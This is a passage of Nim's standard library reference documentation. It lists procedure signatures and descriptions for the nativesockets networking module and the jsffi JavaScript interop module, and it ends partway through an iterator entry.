{...}{. raises: [OSError], tags: [].} ``` > **Warning**: The resulting `ptr AddrInfo` must be freed using `freeAddrInfo`! > > [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L278) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L278) ``` proc ntohl(x: uint32): uint32 {...}{.raises: [], tags: [].} ``` Converts 32-bit unsigned integers from network to host byte order. On machines where the host byte order is the same as network byte order, this is a no-op; otherwise, it performs a 4-byte swap operation. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L305) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L305) ``` proc ntohs(x: uint16): uint16 {...}{.raises: [], tags: [].} ``` Converts 16-bit unsigned integers from network to host byte order. On machines where the host byte order is the same as network byte order, this is a no-op; otherwise, it performs a 2-byte swap operation. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L315) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L315) ``` proc getServByName(name, proto: string): Servent {...}{.tags: [ReadIOEffect], raises: [OSError].} ``` Searches the database from the beginning and finds the first entry for which the service name specified by `name` matches the s\_name member and the protocol name specified by `proto` matches the s\_proto member. On posix this will search through the `/etc/services` file. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L334) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L334) ``` proc getServByPort(port: Port; proto: string): Servent {...}{.tags: [ReadIOEffect], raises: [OSError].} ``` Searches the database from the beginning and finds the first entry for which the port specified by `port` matches the s\_port member and the protocol name specified by `proto` matches the s\_proto member. On posix this will search through the `/etc/services` file. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L350) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L350) ``` proc getHostByAddr(ip: string): Hostent {...}{.tags: [ReadIOEffect], raises: [OSError].} ``` This function will lookup the hostname of an IP Address. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L366) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L366) ``` proc getHostByName(name: string): Hostent {...}{.tags: [ReadIOEffect], raises: [OSError].} ``` This function will lookup the IP address of a hostname. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L408) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L408) ``` proc getHostname(): string {...}{.tags: [ReadIOEffect], raises: [OSError].} ``` Returns the local hostname (not the FQDN) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L437) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L437) ``` proc getSockDomain(socket: SocketHandle): Domain {...}{.raises: [OSError, IOError], tags: [].} ``` Returns the socket's domain (AF\_INET or AF\_INET6). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L453) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L453) ``` proc getAddrString(sockAddr: ptr SockAddr): string {...}{. raises: [Exception, OSError, IOError], tags: [].} ``` Returns the string representation of address within sockAddr [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L466) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L466) ``` proc getAddrString(sockAddr: ptr SockAddr; strAddress: var string) {...}{. raises: [Exception, OSError, IOError], tags: [].} ``` Stores in `strAddress` the string representation of the address inside `sockAddr` **Note** * `strAddress` must be initialized to 46 in length. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L492) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L492) ``` proc getSockName(socket: SocketHandle): Port {...}{.raises: [OSError], tags: [].} ``` Returns the socket's associated port number. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L533) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L533) ``` proc getLocalAddr(socket: SocketHandle; domain: Domain): (string, Port) {...}{. raises: [OSError, Exception], tags: [].} ``` Returns the socket's local address and port number. Similar to POSIX's getsockname. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L548) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L548) ``` proc getPeerAddr(socket: SocketHandle; domain: Domain): (string, Port) {...}{. raises: [OSError, Exception], tags: [].} ``` Returns the socket's peer address and port number. Similar to POSIX's getpeername [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L585) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L585) ``` proc getSockOptInt(socket: SocketHandle; level, optname: int): int {...}{. tags: [ReadIOEffect], raises: [OSError].} ``` getsockopt for integer options. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L622) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L622) ``` proc setSockOptInt(socket: SocketHandle; level, optname, optval: int) {...}{. tags: [WriteIOEffect], raises: [OSError].} ``` setsockopt for integer options. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L632) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L632) ``` proc setBlocking(s: SocketHandle; blocking: bool) {...}{.raises: [OSError], tags: [].} ``` Sets blocking mode on socket. Raises OSError on error. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L640) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L640) ``` proc selectRead(readfds: var seq[SocketHandle]; timeout = 500): int {...}{. raises: [], tags: [].} ``` When a socket in `readfds` is ready to be read from then a non-zero value will be returned specifying the count of the sockets which can be read from. The sockets which cannot be read from will also be removed from `readfds`. `timeout` is specified in milliseconds and `-1` can be specified for an unlimited time. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L684) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L684) ``` proc selectWrite(writefds: var seq[SocketHandle]; timeout = 500): int {...}{. tags: [ReadIOEffect], raises: [].} ``` When a socket in `writefds` is ready to be written to then a non-zero value will be returned specifying the count of the sockets which can be written to. The sockets which cannot be written to will also be removed from `writefds`. `timeout` is specified in milliseconds and `-1` can be specified for an unlimited time. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L705) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L705) ``` proc accept(fd: SocketHandle; inheritable = defined(nimInheritHandles)): ( SocketHandle, string) {...}{.raises: [], tags: [].} ``` Accepts a new client connection. `inheritable` decides if the resulting SocketHandle can be inherited by child processes. Returns (osInvalidSocket, "") if an error occurred. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L727) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L727) Templates --------- ``` template htonl(x: uint32): untyped ``` Converts 32-bit unsigned integers from host to network byte order. On machines where the host byte order is the same as network byte order, this is a no-op; otherwise, it performs a 4-byte swap operation. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L322) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L322) ``` template htons(x: uint16): untyped ``` Converts 16-bit unsigned integers from host to network byte order. On machines where the host byte order is the same as network byte order, this is a no-op; otherwise, it performs a 2-byte swap operation. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/nativesockets.nim#L328) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/nativesockets.nim#L328) Exports ------- [WSAEWOULDBLOCK](winlean#WSAEWOULDBLOCK), [WSAECONNRESET](winlean#WSAECONNRESET), [WSAECONNABORTED](winlean#WSAECONNABORTED), [WSAENETRESET](winlean#WSAENETRESET), [WSANOTINITIALISED](winlean#WSANOTINITIALISED), [WSAENOTSOCK](winlean#WSAENOTSOCK), [WSAEINPROGRESS](winlean#WSAEINPROGRESS), [WSAEINTR](winlean#WSAEINTR), [WSAEDISCON](winlean#WSAEDISCON), [ERROR\_NETNAME\_DELETED](winlean#ERROR_NETNAME_DELETED), [SocketHandle](winlean#SocketHandle), [Sockaddr\_in](winlean#Sockaddr_in), [AddrInfo](winlean#AddrInfo), [INADDR\_ANY](winlean#INADDR_ANY), [SockAddr](winlean#SockAddr), [SockLen](winlean#SockLen), [Sockaddr\_in6](winlean#Sockaddr_in6), [Sockaddr\_storage](winlean#Sockaddr_storage), [inet\_ntoa](winlean#inet_ntoa,InAddr), [recv](winlean#recv,SocketHandle,pointer,cint,cint), [==](system#==,seq%5BT%5D,seq%5BT%5D), [==](system#==,int16,int16), [==](system#==,uint16,uint16), [==](system#==,int,int), [==](system#==,cstring,cstring), [==](system#==,int64,int64), [==](system#==,float32,float32), [==](system#==,uint,uint), [==](system#==,ref.T,ref.T), [==](system#==,set%5BT%5D,set%5BT%5D), [==](system#==,Enum,Enum), [==](system#==,T,T), [==](system#==,uint32,uint32), [==](options#==,Option,Option), [==](system#==,bool,bool), [==](system#==,float,float), [==](os#==,OSErrorCode,OSErrorCode), [==](system#==,array%5BI,T%5D,array%5BI,T%5D), [==](system#==,T,T_2), [==](system#==,ptr.T,ptr.T), [==](system#==,char,char), [==](system#==,int8,int8), [==](system#==,uint8,uint8), [==](system#==,pointer,pointer), [==](system#==,string,string), [==](system#==,uint64,uint64), [==](system#==,openArray%5BT%5D,openArray%5BT%5D), [==](winlean#==,SocketHandle,SocketHandle), [==](system#==,int32,int32), [connect](winlean#connect,SocketHandle,ptr.SockAddr,SockLen), [send](winlean#send,SocketHandle,pointer,cint,cint), [accept](winlean#accept,SocketHandle,ptr.SockAddr,ptr.SockLen), [recvfrom](winlean#recvfrom,SocketHandle,cstring,cint,cint,ptr.SockAddr,ptr.SockLen), [sendto](winlean#sendto,SocketHandle,pointer,cint,cint,ptr.SockAddr,SockLen), [freeaddrinfo](winlean#freeaddrinfo,ptr.AddrInfo), [SO\_ERROR](winlean#SO_ERROR), [SOL\_SOCKET](winlean#SOL_SOCKET), [SOMAXCONN](winlean#SOMAXCONN), [SO\_ACCEPTCONN](winlean#SO_ACCEPTCONN), [SO\_BROADCAST](winlean#SO_BROADCAST), [SO\_DEBUG](winlean#SO_DEBUG), [SO\_DONTROUTE](winlean#SO_DONTROUTE), [SO\_KEEPALIVE](winlean#SO_KEEPALIVE), [SO\_OOBINLINE](winlean#SO_OOBINLINE), [SO\_REUSEADDR](winlean#SO_REUSEADDR), [SO\_REUSEPORT](winlean#SO_REUSEPORT), [MSG\_PEEK](winlean#MSG_PEEK)
programming_docs
nim jsffi jsffi ===== This Module implements types and macros to facilitate the wrapping of, and interaction with JavaScript libraries. Using the provided types `JsObject` and `JsAssoc` together with the provided macros allows for smoother interfacing with JavaScript, allowing for example quick and easy imports of JavaScript variables: ``` # Here, we are using jQuery for just a few calls and do not want to wrap the # whole library: # import the document object and the console var document {.importc, nodecl.}: JsObject var console {.importc, nodecl.}: JsObject # import the "$" function proc jq(selector: JsObject): JsObject {.importcpp: "$$(#)".} # Use jQuery to make the following code run, after the document is ready. # This uses an experimental ``.()`` operator for ``JsObject``, to emit # JavaScript calls, when no corresponding proc exists for ``JsObject``. proc main = jq(document).ready(proc() = console.log("Hello JavaScript!") ) ``` Imports ------- <macros>, <tables> Types ----- ``` JsKey = concept atypeof(T) cstring.toJsKey(T) is T ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L85) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L85) ``` JsObject = ref object of JsRoot ``` Dynamically typed wrapper around a JavaScript object. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L88) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L88) ``` JsAssoc[K; V] = ref object of JsRoot ``` Statically typed wrapper around a JavaScript object. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L90) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L90) ``` js = JsObject ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L93) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L93) ``` JsError {...}{.importc: "Error".} = object of JsRoot message*: cstring ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L115) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L115) ``` JsEvalError {...}{.importc: "EvalError".} = object of JsError ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L117) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L117) ``` JsRangeError {...}{.importc: "RangeError".} = object of JsError ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L118) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L118) ``` JsReferenceError {...}{.importc: "ReferenceError".} = object of JsError ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L119) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L119) ``` JsSyntaxError {...}{.importc: "SyntaxError".} = object of JsError ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L120) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L120) ``` JsTypeError {...}{.importc: "TypeError".} = object of JsError ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L121) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L121) ``` JsURIError {...}{.importc: "URIError".} = object of JsError ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L122) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L122) Vars ---- ``` jsArguments: JsObject ``` JavaScript's arguments pseudo-variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L96) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L96) ``` jsNull: JsObject ``` JavaScript's null literal [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L98) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L98) ``` jsUndefined: JsObject ``` JavaScript's undefined literal [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L100) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L100) ``` jsDirname: cstring ``` JavaScript's \_\_dirname pseudo-variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L102) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L102) ``` jsFilename: cstring ``` JavaScript's \_\_filename pseudo-variable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L104) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L104) Procs ----- ``` proc toJsKey[T: SomeInteger](text: cstring; t: type T): T {...}{. importcpp: "parseInt(#)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L74) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L74) ``` proc toJsKey[T: enum](text: cstring; t: type T): T ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L76) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L76) ``` proc toJsKey(text: cstring; t: type cstring): cstring ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L79) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L79) ``` proc toJsKey[T: SomeFloat](text: cstring; t: type T): T {...}{. importcpp: "parseFloat(#)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L82) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L82) ``` proc isNull[T](x: T): bool {...}{.noSideEffect, importcpp: "(# === null)".} ``` check if a value is exactly null [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L107) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L107) ``` proc isUndefined[T](x: T): bool {...}{.noSideEffect, importcpp: "(# === undefined)".} ``` check if a value is exactly undefined [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L110) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L110) ``` proc newJsObject(): JsObject {...}{.importcpp: "{@}".} ``` Creates a new empty JsObject [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L125) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L125) ``` proc newJsAssoc[K: JsKey; V](): JsAssoc[K, V] {...}{.importcpp: "{@}".} ``` Creates a new empty JsAssoc with key type `K` and value type `V`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L128) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L128) ``` proc hasOwnProperty(x: JsObject; prop: cstring): bool {...}{. importcpp: "#.hasOwnProperty(#)".} ``` Checks, whether `x` has a property of name `prop`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L132) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L132) ``` proc jsTypeOf(x: JsObject): cstring {...}{.importcpp: "typeof(#)".} ``` Returns the name of the JsObject's JavaScript type as a cstring. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L136) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L136) ``` proc jsNew(x: auto): JsObject {...}{.importcpp: "(new #)".} ``` Turns a regular function call into an invocation of the JavaScript's `new` operator [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L139) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L139) ``` proc jsDelete(x: auto): JsObject {...}{.importcpp: "(delete #)".} ``` JavaScript's `delete` operator [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L143) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L143) ``` proc require(module: cstring): JsObject {...}{.importc.} ``` JavaScript's `require` function [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L146) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L146) ``` proc to(x: JsObject; T: typedesc): T:type {...}{.importcpp: "(#)".} ``` Converts a JsObject `x` to type `T`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L150) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L150) ``` proc toJs[T](val: T): JsObject {...}{.importcpp: "(#)".} ``` Converts a value of any type to type JsObject [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L153) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L153) ``` proc `&`(a, b: cstring): cstring {...}{.importcpp: "(# + #)".} ``` Concatenation operator for JavaScript strings [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L164) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L164) ``` proc `+`(x, y: JsObject): JsObject {...}{.importcpp: "(# + #)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L167) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L167) ``` proc `-`(x, y: JsObject): JsObject {...}{.importcpp: "(# - #)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L168) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L168) ``` proc `*`(x, y: JsObject): JsObject {...}{.importcpp: "(# * #)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L169) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L169) ``` proc `/`(x, y: JsObject): JsObject {...}{.importcpp: "(# / #)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L170) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L170) ``` proc `%`(x, y: JsObject): JsObject {...}{.importcpp: "(# % #)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L171) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L171) ``` proc `+=`(x, y: JsObject): JsObject {...}{.importcpp: "(# += #)", discardable.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L172) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L172) ``` proc `-=`(x, y: JsObject): JsObject {...}{.importcpp: "(# -= #)", discardable.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L173) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L173) ``` proc `*=`(x, y: JsObject): JsObject {...}{.importcpp: "(# *= #)", discardable.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L174) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L174) ``` proc `/=`(x, y: JsObject): JsObject {...}{.importcpp: "(# /= #)", discardable.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L175) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L175) ``` proc `%=`(x, y: JsObject): JsObject {...}{.importcpp: "(# %= #)", discardable.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L176) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L176) ``` proc `++`(x: JsObject): JsObject {...}{.importcpp: "(++#)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L177) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L177) ``` proc `--`(x: JsObject): JsObject {...}{.importcpp: "(--#)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L178) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L178) ``` proc `>`(x, y: JsObject): JsObject {...}{.importcpp: "(# > #)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L179) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L179) ``` proc `<`(x, y: JsObject): JsObject {...}{.importcpp: "(# < #)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L180) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L180) ``` proc `>=`(x, y: JsObject): JsObject {...}{.importcpp: "(# >= #)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L181) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L181) ``` proc `<=`(x, y: JsObject): JsObject {...}{.importcpp: "(# <= #)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L182) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L182) ``` proc `and`(x, y: JsObject): JsObject {...}{.importcpp: "(# && #)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L183) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L183) ``` proc `or`(x, y: JsObject): JsObject {...}{.importcpp: "(# || #)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L184) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L184) ``` proc `not`(x: JsObject): JsObject {...}{.importcpp: "(!#)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L185) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L185) ``` proc `in`(x, y: JsObject): JsObject {...}{.importcpp: "(# in #)".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L186) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L186) ``` proc `[]`(obj: JsObject; field: cstring): JsObject {...}{.importcpp: "#[#]".} ``` Return the value of a property of name `field` from a JsObject `obj`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L188) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L188) ``` proc `[]`(obj: JsObject; field: int): JsObject {...}{.importcpp: "#[#]".} ``` Return the value of a property of name `field` from a JsObject `obj`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L191) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L191) ``` proc `[]=`[T](obj: JsObject; field: cstring; val: T) {...}{.importcpp: "#[#] = #".} ``` Set the value of a property of name `field` in a JsObject `obj` to `v`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L194) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L194) ``` proc `[]=`[T](obj: JsObject; field: int; val: T) {...}{.importcpp: "#[#] = #".} ``` Set the value of a property of name `field` in a JsObject `obj` to `v`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L197) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L197) ``` proc `[]`[K: JsKey; V](obj: JsAssoc[K, V]; field: K): V {...}{.importcpp: "#[#]".} ``` Return the value of a property of name `field` from a JsAssoc `obj`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L200) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L200) ``` proc `[]=`[K: JsKey; V](obj: JsAssoc[K, V]; field: K; val: V) {...}{. importcpp: "#[#] = #".} ``` Set the value of a property of name `field` in a JsAssoc `obj` to `v`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L204) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L204) ``` proc `[]`[V](obj: JsAssoc[cstring, V]; field: string): V ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L208) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L208) ``` proc `[]=`[V](obj: JsAssoc[cstring, V]; field: string; val: V) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L211) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L211) ``` proc `==`(x, y: JsRoot): bool {...}{.importcpp: "(# === #)".} ``` Compare two JsObjects or JsAssocs. Be careful though, as this is comparison like in JavaScript, so if your JsObjects are in fact JavaScript Objects, and not strings or numbers, this is a *comparison of references*. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L214) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L214) Iterators --------- ``` iterator pairs(obj: JsObject): (cstring, JsObject) {...}{.raises: [], tags: [].} ``` Yields tuples of type `(cstring, JsObject)`, with the first entry being the `name` of a fields in the JsObject and the second being its value wrapped into a JsObject. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L347) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L347) ``` iterator items(obj: JsObject): JsObject {...}{.raises: [], tags: [].} ``` Yields the `values` of each field in a JsObject, wrapped into a JsObject. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L359) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L359) ``` iterator keys(obj: JsObject): cstring {...}{.raises: [], tags: [].} ``` Yields the `names` of each field in a JsObject. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L368) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L368) ``` iterator pairs[K: JsKey; V](assoc: JsAssoc[K, V]): (K, V) ``` Yields tuples of type `(K, V)`, with the first entry being a `key` in the JsAssoc and the second being its corresponding value. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/jsffi.nim#L376) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/jsffi.nim#L376) ``` iterator items[K, V](assoc: 